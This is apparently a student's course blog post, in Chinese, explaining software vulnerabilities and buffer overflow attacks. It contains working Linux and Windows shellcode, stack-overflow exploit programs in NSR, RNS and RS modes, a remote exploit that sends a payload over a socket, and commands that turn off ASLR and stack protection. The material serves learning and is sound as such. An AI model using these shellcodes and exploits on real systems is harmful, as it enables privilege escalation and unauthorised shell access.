20199102 2019-2020-2 《网络攻防实践》第十周作业
1. 实践中的内容,都是gdb调试信息或源代码信息,有的代码过长不方便展示,故直接将调试窗口的内容复制了下来代替截图
2.
1.实践内容
1.1 软件安全概述
-
软件安全概述
- 攻击者能够轻易地对系统和网络实施攻击,很大程度上是因为安全漏洞在软件中的大规模存在
- 攻击者可以利用这些漏洞来违背系统和网络的安全属性。大多数成功攻击都是利用和破解已公布但未被修改的软件安全漏洞或不安全的软件配置。
-
软件安全困境
- 复杂性:软件规模越来越大,越来越复杂,也就意味着软件的bug会越来越多。
- 可扩展性:现代可扩展软件本身的特征使得安全保证更加困难。首先攻击者以不可预测的扩展方式来入侵软件和系统;其次,可扩展性软件的的安全分析要比分析一个完全不能更改的软件要困难得多。
- 连通性:高度的连通性使得网络攻击使得网络缺陷呗放大;网络的连通性使得不需要人为干涉的自动化攻击成为可能。
-
软件安全漏洞类型
-
内存安全未违规类别:
内存安全违规类漏洞
主要出现在C\C++等编程语言所编写的软件之中,由于这类语言支持任意内存的分配和归还、任意指针的转换、计算等操作,而这类操作通常都没有内存安全保障。不安全指针
是指在计算机设计中没有指向适当类型的非法指针。 -
输入验证类:输入验证类是软件程序在对用户进行数据验证存在的错误,主要包含XSS攻击、CSRF攻击、SQL注入攻击、DDOS攻击。
XSS
跨站脚本攻击(Cross-Site Scripting),可以将代码注入到用户浏览的网页上,这种代码包括HTML和JavaScript。CSRF
跨站请求伪造(Cross-site request forgery),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如转账或购买商品等)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户在操作而去执行。SQL注入攻击:
服务器上的数据库运行非法的SQL语句,主要通过拼接来完成。 -
竞争条件类:第一种竞争条件漏洞是
TOCTTOU
,程序检查一个谓词状态之后通过另一进程对谓词条件进行修改;另一类竞争条件漏洞是符号链接竞争问题
,主要是程序以不安全的方式创建文件所导致的漏洞。下文给出一个TOCTTOU
类型的漏洞简单模拟过程,其攻击流程图在下面给出。#include <stdio.h> #include <pthread.h> #include <unistd.h> int i = 1; void *mythread1() { if(i == 1){ sleep(3); if(i == 2) printf("hack it!\n"); else printf("you can try again!\n"); } } void *mythread2() { sleep(1); i=2; } int main(int argc, const char *argv[]) { pthread_t id1,id2; pthread_create(&id1, NULL, (void *)mythread1,NULL); pthread_create(&id2, NULL, (void *)mythread2,NULL); pthread_join(id1,NULL); pthread_join(id2,NULL); return 0; }
图1 `TOCTTOU`攻击 -
权限混淆与提升类:是指计算机程序由于自身编程疏忽或被第三方欺骗,从而滥用其权限,或赋予第三方不该给予的权限。权限混淆与提升类漏洞的具体技术形式主要有
Web应用程序中的跨站请求伪造
、Clickjacking
、FTP反弹攻击
、权限提升
、越狱
等。越狱是指在类UNIX系统中破解chroot和jail机制,从而访问系统管理员通过chroot设置限制目录之外的文件系统内容的一种技术。
-
1.2 缓冲区溢出基础概念
-
缓冲区基础基本概念和发展过程
- 缓冲区溢出基本概念:缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性,通常多见于C/C++语言程序中的
memcpy()、strcpy()
等内存与字符串复制函数的引用位置。缓冲区溢出攻击发生的根本原因,可以认为是现代计算机系统的基础构架——冯诺伊曼体系存在本质的安全缺陷,即采用了“存储程序”的原理,计算机程序的数据和指令都在同一内存中进行存储,而没有严格的分离。 - 缓冲区溢出攻击技术发展过程
- 缓冲区溢出基本概念:缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性,通常多见于C/C++语言程序中的
-
缓冲区溢出攻击背景知识
- 编译器与调试器的使用:使用C/C++等高级编程语言编写的源码,需要通过编译器和连接器才能生成可直接在操作系统平台上运行的可执行程序代码。而调试器则是程序开发人员在运行时刻调试与分析程序行为的基本工具。对于通常使用的C/C++编程语言,最著名的编译与连接器是
GCC
,开源的GUN Ansi C/C++
编译器,GCC最基本的用法是执行“gcc –c test.c”
命令进行源码编译,生成test.o
,然后执行“gcc –o test test.o”
进行连接,生成test可执行程序,可以使用“gcc test.c –o test”
同时完成编译和连接过程。对于处理多个源码文件、包含头文件、引用库文件等多种情况,程序开发人员通常编写或自动生成Makefile
,来控制GCC的编译和连接过程。类UNIX平台上进行程序的调试经常使用GDB调试器,GDB调试器提供程序断点管理、执行控制、信息查看等多种类型的功能指令。 - 汇编语言基础知识:汇编语言是理解软件安全漏洞机理,掌握软件渗透攻击代码技术的底层基础。从应用的角度一般将寄存器分为4类,即
通用寄存器
、段寄存器
、控制寄存器
和其他寄存器
。通用寄存器主要用于普通的算术运算,保存数据、地址、偏移量、计数值等。段寄存器在IA32构架中是16位的,一般用作段基址寄存器。控制寄存器用来控制处理器的执行流程。其他寄存器中值得关注的是“扩展标志”eflags寄存器
,由不同的标志位组成,用于保存指令执行后的状态和控制指令执行流程的标志信息。在IA32构架汇编语言中,又分为Intel和AT&T两种具有很多差异的汇编格式。在类UNIX平台下,通常使用AT&T
汇编格式,而在DOS/Windows平台下,则主要使用Intel
汇编格式。 - 进程内存管理:程序在执行时,系统在内存中会为程序创建一个虚拟的内存地址空间,在32位机上即4GB的空间大小,用于映射物理内存,并保存程序的指令和数据。Linux的集成内存空间3GB以下为用户态空间,3GB-4GB为内核态空间,操作系统将可执行程序加载到新创建的内存空间中,程序一般包含
.text
、.bss
和.data
三种类型的段。Windows操作系统的进程内存空间2GB-4GB为内核态地址空间,用于映射Windows内核代码和一些核心态DLL,并用于存储一些内核态对象,0GB-2GB为用户态地址空间。 - 函数调用过程:栈结构与函数调用过程的底层细节是理解栈溢出攻击的重要基础,因为栈溢出攻击就是针对函数调用过程中返回地址在栈中的存储位置,进行缓冲区溢出,从而改写返回地址,达到让处理器指令寄存器跳转至攻击者指定位置执行恶意代码的目的。栈是一种最基本的LIFO后进先出抽象数据结构,主要被用于实现程序中的函数或过程调用,在栈中会保存函数的调用参数、返回地址、调用者栈基址、函数本地局部变量等数据。在IA32构架寄存器中,两个与栈密切相关的寄存器为
ebp
和esp
,分别保存当前运行函数的栈底地址和栈顶地址,而两个密切相关的指令为push和pop,分别是将数据压入栈,及将栈顶数据弹出至特定寄存器。程序进行函数调用的过程有如下三个步骤:①调用②序言③返回。
- 编译器与调试器的使用:使用C/C++等高级编程语言编写的源码,需要通过编译器和连接器才能生成可直接在操作系统平台上运行的可执行程序代码。而调试器则是程序开发人员在运行时刻调试与分析程序行为的基本工具。对于通常使用的C/C++编程语言,最著名的编译与连接器是
-
缓冲区溢出攻击原理
-
缓冲区溢出漏洞根据缓冲区在进程内存空间中的位置不同,又分为栈溢出、堆溢出和内核溢出这三种具体技术形态。
-
在进行分析之前需要关闭当前平台的一些保护措施
①取消“栈上数据不可执行”保护:echo 0 > /proc/sys/kerne/exec-shield ②取消“地址空间随机化”保护:echo 0 > /proc/sys/kernel/randomize_va_space ③编译时取消“/GS”保护:加上gcc编译选项 –fno-stack-protecto。
-
下面我们通过具体的代码来分析相应的过程
#include <stdio.h> void return_input(void){ char array[30]; gets(array); printf("%s\n", array); } int main (void){ return_input(); return 0; }
-
在执行上述代码的过程中,如果我们给出的输入字符的长度大于30就会发生缓冲区溢出。从上文的介绍中我们直到,压栈的方向是先
函数返回地址
->栈底地址
->临时变量地址
。在临时变量中的array数组
中发生缓冲区溢出的时候就会发生覆盖掉栈底地址和函数返回地址
的情况,引发程序错误。在windows平台下传入超过30长度的字符串会引发windows错误中断,被操作系统强行终止。 -
接下来我们看看能进行成功攻击的栈溢出攻击,这份代码包含了栈溢出和shellcode与一身
#include <stdio.h> #include <string.h> char shellcode[]= // setreuid(0,0); "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\x31\xc9" // xor %ecx,%ecx "\xb0\x46" // mov $0x46,%al "\xcd\x80" // int $0x80 // execve /bin/sh "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx "\x50" // push %eax "\x53" // push %ebx "\x8d\x0c\x24" // lea (%esp,1),%ecx "\xb0\x0b" // mov $0xb,%al "\xcd\x80" // int $0x80 // exit(); "\x31\xc0" // xor %eax,%eax "\xb0\x01" // mov $0x1,%al "\xcd\x80"; // int $0x80 char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; }
-
我已经将上述代码从课本中的形式拆开来看,并标注了每一句机器指令对应的汇编代码,及汇编代码反编译之后的译码结果。(看注释)
-
攻击的核心在于两个长度不相等的字符串,一个是
large_string
长度是128字节,一个是buffer
长度为96字节。其中两者之差的32字节就是攻击代码的位置。在上文进行strcpy
的过程中,我们将128字节的长度复制到96字节的长度中,其次我们要知道main
函数中的临时变量被分配在栈中,这样溢出的buffer
数组就会覆盖到函数返回值。在main函数执行返回的时候,EIP
寄存器就会装载RET
的值,进而跳转到我们shellcode指定的位置,在上文中就是调用/bin/sh
-
1.3 Linux平台上的栈溢出与shellcode
-
Linux平台栈溢出攻击技术
-
总括:
Linux平台中的栈溢出攻击按照攻击数据的构造方式不同,主要有NSR、RNS和RS三种模式。在Linux平台中,本地栈溢出攻击,即渗透攻击代码的攻击目标对象是本地的漏洞程序,可以用于特权提升。
-
NSR模式:
简单概括,NSR模式主要适用于被溢出的缓冲区变量比较大,足以容纳Shellcode的情况,其攻击数据从低地址到高地址的构造方式是一堆Nop指令之后填充Shellcode,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区。
-
NSR模式实例代码分析:
首先我们给出一个具有栈溢出漏洞的程序,接下来我们将对其进行攻击并分析
#include<stdio.h> int main(int argc,char **argv){ char buf[500]; strcpy(buf,argv[1]); printf("buf's 0x%8x\n",&buf); getchar(); return 0; }
接下来我们将给出攻击代码,攻击代码的shellcode已经被我展开并将反汇编和反编译代码写到注释中
#include<stdio.h> #include<stdlib.h> #include<string.h> char shellcode[]= // setreuid(0,0); "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\x31\xc9" // xor %ecx,%ecx "\xb0\x46" // mov $0x46,%al "\xcd\x80" // int $0x80 // execve /bin/sh "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx "\x50" // push %eax "\x53" // push %ebx "\x8d\x0c\x24" // lea (%esp,1),%ecx "\xb0\x0b" // mov $0xb,%al "\xcd\x80" // int $0x80 // exit(); "\x31\xc0" // xor %eax,%eax "\xb0\x01" // mov $0x1,%al "\xcd\x80"; // int $0x80 unsigned long get_esp(){ __asm__("movl %esp,%eax"); } int main(int argc,char *argv[]){ char buf[530]; char* p; p=buf; int i; unsigned long ret; int offset=0; /* offset=400 will success */ if(argc>1) offset=atoi(argv[1]); ret=get_esp()-offset; memset(buf,0x90,sizeof(buf)); memcpy(buf+524,(char*)&ret,4); memcpy(buf+i+100,shellcode,strlen(shellcode)); printf("ret is at 0x%8x\n esp is at 0x%8x\n", ret,get_esp()); execl("./vulnerable1","vulnerable1",buf,NULL); return 0; }
这里的核心还是在于调用
vulnerable1
时传入的字符串,可以看到我们在程序中定义的字符串的空间大小是500
,但是在我们实际调用的过程中,字符串的大小是530
。我们现在分析这长度为530
的字符串的组成方式,首先前500字节
都被0x90
填充,也就是我们熟知的NOP
;接下来的就是上文中提到的shellcode
;最后就是4个字节
的地址,这个地址是通过计算得到的,根据我们程序参数的不同,将跳到我们使用NOP
设置的着陆区
之中。最终的栈内存图如下所示
图2 NSR栈溢出方式内存图 -
RNS模式:
概括来说,RNS模式一般用于被溢出的变量比较小,不足于容纳Shellcode的情况。攻击数据从低地址到高地址的构造方式是首先填充一些期望覆盖RET返回地址的跳转地址,然后是一堆Nop指令填充出“着陆区”,最后再是Shellcode。
这里我们首先给出存在漏洞的程序
vulnerable2
,可以看到相较于vulnerable1
,2的缓冲区比较小,不足以完全容纳shellcode#include<stdio.h> int main(int argc,char **argv){ char buf[10]; strcpy(buf,argv[1]); printf("buf's 0x%8x\n",&buf); getchar(); return 0; }
接下来我们给出RNS模式栈溢出攻击的漏洞
#include<stdio.h> #include<stdlib.h> #include<string.h> char shellcode[];//这里的shellcode与上文相同,节省篇幅不再赘述 int main(int argc,char **argv){ char buf[500]; unsigned long ret,p; int i; p=&buf; ret=p+70; memset(buf,0x90,sizeof(buf)); for(i=0;i<44;i+=4) *(long *)&buf[i]=ret; memcpy(buf+400+i,shellcode,strlen(shellcode)); execl("./vulnerable2","vulnerable2",buf,NULL); return 0; }
在这里我们可以看到,对于较小的缓冲区,我们将其全部填入了
NOP
。接下来,将紧随其后的RET
填写成了我们需要的shellcode的地址,这样在程序返回的时候EIP
将会装载RET
的值并执行,进而跳转到我们实现准备好的shellcode进行执行。最后的400-500
字节段填充的就是我们实现准备好的shellcode。在此次攻击之后,占内存模型如下下图所示。
图3 RNS栈溢出攻击模式栈内存图 -
RS模式:
RS模式下能够精确地定位出Shellcode在目标漏洞程序进程空间中的起始地址,因此也就无需引入Nop空指令构建“着陆区”。这种模式是将Shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量是位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的。可以通过如下公式进行计算:
ret=0xc0000000-sizeof(void*)-sizeof(FILENAME)-sizeof(Shellcode)
。 这里我们使用的具有漏洞的程序就是上文提到的
vulnerable2
这里不再重复给出。 接下来我们给出攻击代码,shellcode部分与上文相同,不再重复给出
#include<stdio.h> char shellcode[]; int main(int argc,char **argv){ char buf[32]; char *p[]={"./vulnerable2",buf,NULL}; char *env[]={"HOME=/root",shellcode,NULL}; unsigned long ret; ret=0xc0000000-strlen(shellcode)-strlen("./vulnerable2")-sizeof(void *); memset(buf,0x41,sizeof(buf)); memcpy(&buf[28],&ret,4); printf("ret is at 0x%8x\n",ret); execve("./vulnerable2", "/vulnerable2", buf, env); return 0; }
这里代码与之前不同的一点就是这里的
RET
地址是精确计算出来的。我们可以看到计算出的返回地址是基于栈地址开始的位置
、唯一的环境变量的长度
、函数参数的长度
、函数指针的长度
计算出来,也就是程序中环境变量。由于环境变量位于程序栈底的位置,这就导致不会受到内存分配和内存对齐的影响。剩下的拼接和调用过程和上文基本一样,下面我们给出攻击成功之后栈内存的分布图。
图3 RS栈溢出攻击模式栈内存图
-
-
Linux平台的shellcode实现技术
-
Linux平台的远程栈溢出和本地栈溢出:
Linux平台上的远程栈溢出攻击的原理与本地栈溢出是一样的,区别在于用户输入传递的途径不同,以及Shellcode的编写方式不同。本地栈溢出的用户输入途径主要为argv命令行输入、文件输入等,而远程栈溢出攻击的用户输入传递途径则是通过网络,存在远程栈溢出漏洞往往是一些网络服务进程或网络应用程序。NSR和RNS模式也都适用于远程栈溢出,使用场景也主要取决于被溢出的目标缓冲区大小是否足够容纳Shellcode。
-
Linux平台的shellcode实现机制:
Shellcode是一段机器指令,对于我们通常接触的IA32构架平台,Shellcode就是符合Intel 32位指令规范的一串CPU指令,被用于溢出之后改变系统正常流程,转而执行Shellcode以完成渗透测试者的攻击目的,通常是为他提供一个访问系统的本地或远程命令行访问。在Linux操作系统中,程序通过
int 0x80
软中断来执行系统调用,而在Windows操作系统中,则通过核心DLL中提供的API接口来完成系统调用。 -
Linux本地shellcode实现机制:
Linux系统本地Shellcode通常提供的功能就是为攻击者启动一个命令行Shell。
Shellcode的通用方法:
①先用高级编程语言,通常用C,来编写Shellcode程序;
②编译并反汇编调试这个Shellcode程序;
③从汇编语言代码级别分析程序执行流程;
④整理生成的汇编代码,尽量减小它的体积并使它可注入,并可通过嵌入C语言进行运行测试和调试;
⑤提取汇编代码所对应的opcode二进制指令,创建Shellcode指令数组。下面我们完整的复现这个过程,首先我们给出Linux系统本地shell的打开代码,如下所示。
#include <stdio.h> int main ( int argc, char * argv[] ) { char * name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve( name[0], name, NULL ); }
代码的基本逻辑和上文中的调用过程相似,通过
execve
调用相关的程序(这里就是shell)。接下来我们将上文的部分进行编译获得汇编代码,代码如下文所示。mov $0x0,%edx push %edx push $0x68732f6e push $0x69622f2f mov %esp,%ebx push %edx push %ebx mov %esp,%ecx mov $0xb,%eax int $0x80
下面我们要消除程序中的
0x0
为了防止字符串中出现0x0
(也就是\n
)导致字符串的截断。我们使用的方法是xor %edx,%edx
并自己异或自己就是0。结果如下xor %edx,%edx push %edx push $0x68732f6e push $0x69622f2f mov %esp,%ebx push %edx push %ebx mov %esp,%ecx mov $0xb,%eax int $0x80
接下来我们将其转化成二进制的形式机器码,最终得到如下的shellcode。
char shellcode[] = "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69" "\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
至此,shellcode基本完成。
-
Linux远程shellcode实现机制:
通过执行一系列的系统调用来完成指定的功能。实现方法步骤也是首先给出高级语言的功能代码实现,然后通过反汇编调试编译后的二进制程序,特权、优化和整理所获得的汇编代码,并最终产生opcode二进制指令代码。Linux远程Shellcode需要让攻击目标程序创建socket监听指定的端口等待客户端连接,启动一个命令行Shell,并将命令行的输入输出与socket绑定,这样攻击者就可以通过socket客户端连接目标程序所在初级的开放端口,与服务端socket建立起通信通道,并获得Shell。在Linux系统中,dup2()函数能够将标准输入输出与socket的网络通信通道进行绑定,使得socket的远程输入连接至命令行标准输入,将命令行标准输出连接至远程网络输出,因而完成远程Shell的功能。
-
1.4 Windows平台上的栈溢出与shellcode
-
Windows平台栈溢出与攻击技术原理
-
windows平台栈溢出攻击技术原理(与Linux主要攻击的不同点)
1)对程序运行过程中废弃栈的处理方式差异
当一个函数调用完成返回至调用者,执行下一条指令之前,Windows平台会向废弃栈中写入一些随机的数据,而Linux则不进行任何的处理。
2)进程内存空间的布局差异
Windows操作系统的进程内存空间布局与Linux存在着不同,Linux进程内存空间中栈底指针在0xc0000000之下,即一般栈中变量的位置都在0xbfff地址附近,在这些地址中没有空字节。Windows平台的栈位置处于0x00FFFFFF以下的用户内存空间,一般为0x0012地址附近,而这些内存地址的首字节均为0x00空字节。
3)系统功能调用的实现方式差异
Windows平台上进行操作系统功能调用的实现方法较Linux更加复杂,Linux系统中通过“int 80”中断处理来调用系统功能,而Windows系统则是通过操作系统中更为复杂的API及内核处理例程调用链来完成系统功能调用,对应用程序直接可见的是应用层中如kernel32.dll、User32.dll等系统动态链接库中导出的一些系统API接口函数。 -
远程栈溢出攻击实例:
这里给出windows下攻击远程栈溢出攻击的例子,具体代码如下:
int main() { WSADATA wsa; SOCKET sockFD; char Buff[1024],*sBO; WSAStartup(MAKEWORD(2,2),&wsa); sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); struct sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons(3764); server.sin_addr.s_addr=inet_addr("127.0.0.1"); connect(sockFD,(struct sockaddr *)&server,sizeof(server)); for(int i=0;i<56;Buff[i++]=0x90); strcpy(Buff+56,(char *)eip); strcpy(Buff+60,(char *)sploit); sBO = Buff; send(sockFD,sBO,56+4+560,0); closesocket(sockFD); WSACleanup(); return 1; }
我们可以看到缓冲区的大小是1024,然后我们先练功了若干字节的
NOP
作为着陆区,接下来我们填入了指向JMP ESP
指令的地址,最后将我们shellcode放到目标地址上,使得send()
将攻击数据通过socket发送给目标函数的服务的时候,将处理函数的ESP
覆盖,跳转到我们事先定义好的shellcode。
-
-
Windows平台shellcode实现技术
-
分类:
按照在本地溢出攻击和远程溢出攻击使用场景的不同,分为本地Shellcode和远程Shellcode。
-
windows本地shellcode:
在Windows平台上,典型的本地Shellcode同样也是启动一个命令行Shell,即`command.com`或`cmd.exe`。下文我们给出本地平台shellcode的C语言代码实现。
#include <windows.h> #include <winbase.h> typedef void (*MYPROC)(LPTSTR); typedef void (*MYPROC2)(int); int main() { HINSTANCE LibHandle; MYPROC ProcAdd; MYPROC2 ProcAdd2; char dllbuf[11] = "msvcrt.dll"; char sysbuf[7] = "system"; char cmdbuf[16] = "command.com"; char sysbuf2[5] = "exit"; LibHandle = LoadLibrary(dllbuf); ProcAdd = (MYPROC)GetProcAddress( LibHandle, sysbuf); (ProcAdd) (cmdbuf); ProcAdd2 = (MYPROC2) GetProcAddress( LibHandle, sysbuf2); (ProcAdd2)(0); }
接下来我们将其翻译成汇编语言,得到的结果如下:
push ebp mov ebp,esp xor eax,eax push eax push eax push eax mov byte ptr[ebp-0Ch],4Dh mov byte ptr[ebp-0Bh],53h mov byte ptr[ebp-0Ah],56h mov byte ptr[ebp-09h],43h mov byte ptr[ebp-08h],52h mov byte ptr[ebp-07h],54h mov byte ptr[ebp-06h],2Eh mov byte ptr[ebp-05h],44h mov byte ptr[ebp-04h],4Ch mov byte ptr[ebp-03h],4Ch mov edx,0x77E5D961 push edx lea eax,[ebp-0Ch] push eax call dword ptr[ebp-10h] /* system("command.com") */ mov esp,ebp push ebp mov ebp,esp xor edi,edi push edi sub esp,08h mov byte ptr [ebp-0ch],63h mov byte ptr [ebp-0bh],6fh mov byte ptr [ebp-0ah],6dh mov byte ptr [ebp-09h],6Dh mov byte ptr [ebp-08h],61h mov byte ptr [ebp-07h],6eh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],63h mov byte ptr [ebp-03h],6fh mov byte ptr [ebp-02h],6dh lea eax,[ebp-0ch] push eax mov eax, 0x77bf8044 call eax /* exit */ push ebp mov ebp,esp mov edx,0x77c07adc push edx xor eax,eax push eax call dword ptr[ebp-04h]
最后我们将上文的汇编代码翻译为二进制机器码
char shellcode[] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8" "\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x61\xD9\xE5\x77\x52" "\x8D\x45\xF4\x50\xFF\x55\xF0\x8B\xE5\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6" "\x45\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63" "\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8\x44\x80\xBF\x77\xFF\xD0\x55\x8B\xEC\xBA\xDC\x7A\xC0\x77" "\x52\x33\xC0\x50\xFF\x55\xFC";
-
windows远程shellcode
与Linux系统类似,更为常用的Shellcode是可以在远程渗透攻击中使用的,能够给出shell网络访问的远程Shellcode。
Windows远程Shellcode的C语言实现示例代码,其大致过程如下:
①创建一个服务器端socket,并在指定的端口上监听;
②通过accept()接受客户端的网络连接;
③创建子进程,运行“cmd.exe”,启动命令行;
④创建两个管道,命令管道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令,连接至cmd.exe的标准输入;然后输出管道将cmd.exe的标准输出连接至服务器端socket的发送(send),通过网络将运行结果反馈给客户端。
-
1.5 堆溢出攻击
-
函数指针改写:
-
此种攻击方式要求被溢出的缓冲区临近全局函数指针存储地址,且在其低地址方向上。如果向缓冲区填充数据的时候,如果没有边界控制和判断的话,缓冲区溢出就会自然的覆盖函数指针所在的内存区,从而改写函数指针的指向地址,则程序在使用这个函数指针调用原先的期望函数的时候就会转而执行
shellcode
-
这里我们首先给出攻击的实例代码,具体代码如下
#define ERROR -1 #define BUFSIZE 16 int goodfunc(const char *str) { printf("\nHi, I'm a good function. I was called through funcptr.\n"); printf("I was passed: %s\n", str); return 0; } int main(int argc, char **argv) { static char buf[BUFSIZE]; static int (*funcptr)(const char *str); if (argc <= 2) { fprintf(stderr, "Usage: %s <buffer> <goodfunc's arg>\n", argv[0]); exit(ERROR); } printf("system()'s address = %p\n", &system); funcptr = (int(*)(const char *str))goodfunc; printf("before overflow: funcptr points to %p\n", funcptr); memset(buf, 0, sizeof(buf)); strncpy(buf, argv[1], strlen(argv[1])); printf("after overflow: funcptr points to %p\n", funcptr); (void)(*funcptr)(argv[2]); return 0; }
-
上文中的程序中经过分析我们发现整体的逻辑流程基本和栈溢出攻击是相同的,不同的地方主要是一下几点:1. 只有静态变量和全局变量才会分配的堆中,因此我们攻击的目标缓冲区应该是静态变量和全局变量。2. 堆中没有保存现场和函数调用形成的
EIP
寄存器,不能通过设置寄存器的方式引发跳转,这里我们是通过对函数指针进行改写,使得程序在调用函数指针指向的函数的时候,调用到了我们的shellcode。 -
读懂了上文两点之后对于这个程序的分析就很简单了,首先还是设置缓冲区的内容,但是长度要大于缓冲区的长度,覆盖了位于缓冲区之后的
static int (*funcptr)(const char *str);
接下来我们调用这个函数指针的时候,就调用成了我们覆盖的地址所指向的位置,也就是我们准备好的shellcode。
-
-
C++类对象虚函数表改写
- C++类通过虚函数提供了一种
Late bingding
运行时绑定机制,编译器为每个虚函数的类建立起虚函数表、存放虚函数的地址,并在每个类对象的内存区中放入一个指向虚函数表的指针。 - mark,代码分析。
- C++类通过虚函数提供了一种
-
Linux下堆管理glibc库
free()
函数本身漏洞- Linux操作系统的堆管理是通过
glibc
库来实现的。其中对于堆管理的算法称为dlmalloc
。其通过称为Bin
的双向循环链表来保存内存空闲块的信息。 - glibc库中的free函数在内存回收的过程中,需要将已经释放的空闲块和与之相邻的空闲块进行合并。通过精心构造空闲块,在空闲块合并的过程中,将会发生位置覆盖。
- Linux操作系统的堆管理是通过
1.6 缓冲区溢出攻击的防御技术
-
尝试杜绝缓冲区溢出的防御技术:
-
解决缓冲区溢出攻击最根本的方法是编写正确的、不存在缓冲区溢出安全漏洞的软件代码,但由于C/C++语言作为效率优先的语言,很容易就会出现缓冲区溢出。
-
尝试通过
Fuzz
等注入测试的方法来寻找程序漏洞,但是这不能找到所有的漏洞 -
或者通过在编译器上引入针对缓冲区的边界检查保护机制。
-
-
允许溢出但不让程序改变运行流程的防御技术:
- 这种防御技术允许溢出发生,但对可能影响到程序流程的关键数据结构实施严密的安全保护,不让程序改变其执行流程,从而阻断溢出攻击。
- 例如VS2003编译器中引入的
/GS
的栈保护选项。
-
无法让攻代码执行的防御技术:
- 这种防御技术尝试解决冯·诺依曼体系的本质缺陷,通过堆栈不可执行限制来防御缓冲区溢出攻击。
- 例如硬件引入的
NX
机制、linux平台的PaX堆栈不可指行内核补丁
,等等。
2.实践过程
2.1 实践作业一:SEED缓冲区溢出实验
- 稍后补充,
2.2 实践作业二:分析一个实际的缓冲区溢出漏洞
- 稍后补充,
3.学习中遇到的问题及解决
- 问题1:这里主要的问题就是,CSAPP和汇编的内容基本都忘了,对于程序内存的分布和汇编语言基本上只记得大概
- 问题1解决方案:花两天时间重温了一下CSAPP,重点复习了linux系统的内存架构和汇编语言部分。
- 问题2:socket编程的部分,自己一直不太懂,相关的函数并不了解。
- 问题2解决方案:基本上就是一行一百度,短短续续还是看下来了。
4.实践总结
正文部分的代码并不算难,主要就是一些shellcode的示例代码。实践作业的部分从放假写到现在,基本算是写完了,等我把其他作业处理完再更新。
参考资料
- gdb基本命令
- Shellcode的编写
- [linux下C/C++程序的内存布局]
- [Linux虚拟地址空间布局以及进程栈和线程栈总结]
来源:https://www.cnblogs.com/sunmoyi/p/12826063.html
真棒,TOCTTOU 演示代码写的简单易懂